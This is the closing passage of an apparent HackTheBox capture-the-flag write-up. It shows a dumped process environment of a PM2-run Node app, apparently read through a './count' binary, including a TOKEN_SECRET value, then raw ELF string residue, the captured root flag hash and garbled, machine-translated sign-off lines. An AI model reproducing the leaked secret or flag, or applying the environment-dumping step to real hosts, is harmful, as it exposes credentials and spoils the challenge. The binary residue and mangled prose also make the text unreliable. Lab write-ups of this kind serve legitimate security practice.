Object]vizion_running=falsePWD=/optLOGNAME=dasithPM2_USAGE=CLIexec_interpreter=nodePM2_HOME=/home/dasith/.pm2HOME=/home/dasithNODE_APP_INSTANCE=0LANG=en_US.UTF-8LS_COLORS=pm_id=0version=1.0.0pm_uptime=1647239220655km_link=falsepm_cwd=/home/dasith/local-webaxm_monitor=[object Object]instance_var=NODE_APP_INSTANCEpmx=trueunique_id=d785e813-82ea-40d6-8c5b-fbb480388fdeLESSCLOSE=/usr/bin/lesspipe %s %svizion=trueusername=dasithLESSOPEN=| /usr/bin/lesspipe %swatch=falsewindowsHide=trueautomation=trueaxm_actions=SHLVL=1TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwEPM2_INTERACTOR_PROCESSING=truecreated_at=1633619800035merge_logs=truepm_pid_path=/home/dasith/.pm2/pids/index-0.pidPATH=/usr/bin:/binpm_err_log_path=/home/dasith/.pm2/logs/index-error.lognode_version=10.19.0kill_retry_time=100autorestart=trueaxm_dynamic=[object Object]node_args=exec_mode=fork_modepm_exec_path=/home/dasith/local-web/index.jsOLDPWD=/home/dasithstatus=launchingname=indexpm_out_log_path=/home/dasith/.pm2/logs/index-out.log_=./count./countbemX__vdso_gettimeofday__vdso_time__vdso_clock_gettime__vdso_clock_getres__vdso_getcpulinux-vdso.so.1LINUX_2.6LinuxLinuxAUATSA\A]][A\MA]]I[A\][A\]GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0.shstrtab.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_d.dynamic.note.eh_frame_hdr.eh_frame.text.altinstructions.altinstr_replacement.comment

🦾 Normandy login: root permission flag

🪵 From the information of faces, it is found that

oot/root.txt5fa8441d1d205afd5bcc44d56c96c8b4

📽 The end of the play

🍀 acesec 🍀

🎴🎴🎴🎴🎴🂢 🂡🎴🎴🎴🎴🎴🎴

One day I was a wine worshiper, and all my life I was

No wind offering wine @ acesec

Just take your own notes at CyberWorld

I am the public servant of my people

Classmate gold finger 3 company! Triple kill!

Tags: Cyber Security computer networks security hole Web Security hackthebox

Posted by ramli on Sun, 17 Apr 2022 02:26:12 +0930